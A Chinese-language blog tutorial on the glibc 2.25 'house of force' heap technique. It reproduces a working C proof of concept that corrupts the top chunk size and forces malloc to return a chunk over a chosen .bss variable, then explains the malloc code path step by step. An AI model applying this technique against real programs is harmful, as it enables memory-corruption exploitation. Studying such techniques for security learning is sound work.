通过 glibc2.25 学习 house_of_force

前言:这个漏洞有点意思。

在之前所有的利用中我们都是避开 top chunk, 而 house_of_force 与之相反,就是去利用 top chunk。

0X00 例子

/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit.

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
    fprintf(stderr, "\nWelcome to the House of Force\n\n");
    fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
    fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
        "and is the chunk that will be resized when malloc asks for more space from the os.\n");

    fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
    fprintf(stderr, "Its current value is: %s\n", bss_var);



    fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

    fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

    fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");


    //----- VULNERABILITY ----
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

    fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
    fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    //------------------------

    fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
       "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
       "overflow) and will then be able to allocate a chunk right over the desired region.\n");

    /*
     * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
     * new_top = old_top + nb
     * nb = new_top - old_top
     * req + 2sizeof(long) = new_top - old_top
     * req = new_top - old_top - 2sizeof(long)
     * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
     * req = dest - old_top - 4*sizeof(long)
     */
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
       "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

    void* ctr_chunk = malloc(100);
    fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr, "Now, we can finally overwrite that value:\n");

    fprintf(stderr, "... old string: %s\n", bss_var);
    fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... new string: %s\n", bss_var);

}

0X01 手动调试与原理讲解

这个的关键在于绕过 sysmalloc 分配。而始终在 top chunk 中分配。由于 top chunk 的 size 没有任何检查(至少在 glibc2.25 我没有看到任何检查),所以这个漏洞利用起来非常简单。

我们来调试一下,假设有这样的漏洞,能够修改 top chunk 的 size:

由于 size 是无符号的数字。所以 -1 就是最大的数字(32 个 1)

我们修改完了 top chunk 的 size,在接下来的代码中会构造一个非常大 chunk,调试一下 malloc 这个 chunk 会发生什么。

其次,在漏洞中的这个构造是想在下一次 malloc 的时候,正好把 bss_var 覆盖掉。

现在我们来调试分配超大的 chunk,会发生什么?一路通行无阻,没有任何检查,我们直接来到了 use_top:

从 top chunk 中分配:

遇到了一个检查但是这个检查没有定义:

# define check_malloced_chunk(A, P, N)

 check_malloced_chunk (av, victim, nb);

至此超大 chunk 分配完毕

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 前言:今日份的进步。。。 通过 house_of_lore,伪造在栈上的 chunk,由于可以操作该 chunk ...
    madao756阅读 774评论 0 1
  • 有人说你的反射弧好长 回复信息好慢 其实 真实的是 秒回的心 假装的是 佛系的手 记得从前有首诗说 “从前车马很慢...
    爱笑的小跑阅读 398评论 1 0
  • 6月26日观察日记 今天我们去到了一个奇妙的大国度,那奇妙的大国度又被分为许许多多的小国。每一个小国都有一个它们国...
    梦有点远阅读 489评论 0 0
  • 今天早上姨妈来访,没有去跑步,这几天都有跟随去跑步,有一次一边跑一边就想写简书,觉的好像是完成任务一样,后来先生说...
    超sun阅读 220评论 1 0
  • “老郑,听说又处了一个?” “分了分了,俺俩不合适!瞅着好的再给我介绍个。别忘了!” “你个熊玩意,玩爽了之后就“...
    溪之阅读 350评论 0 0

友情链接更多精彩内容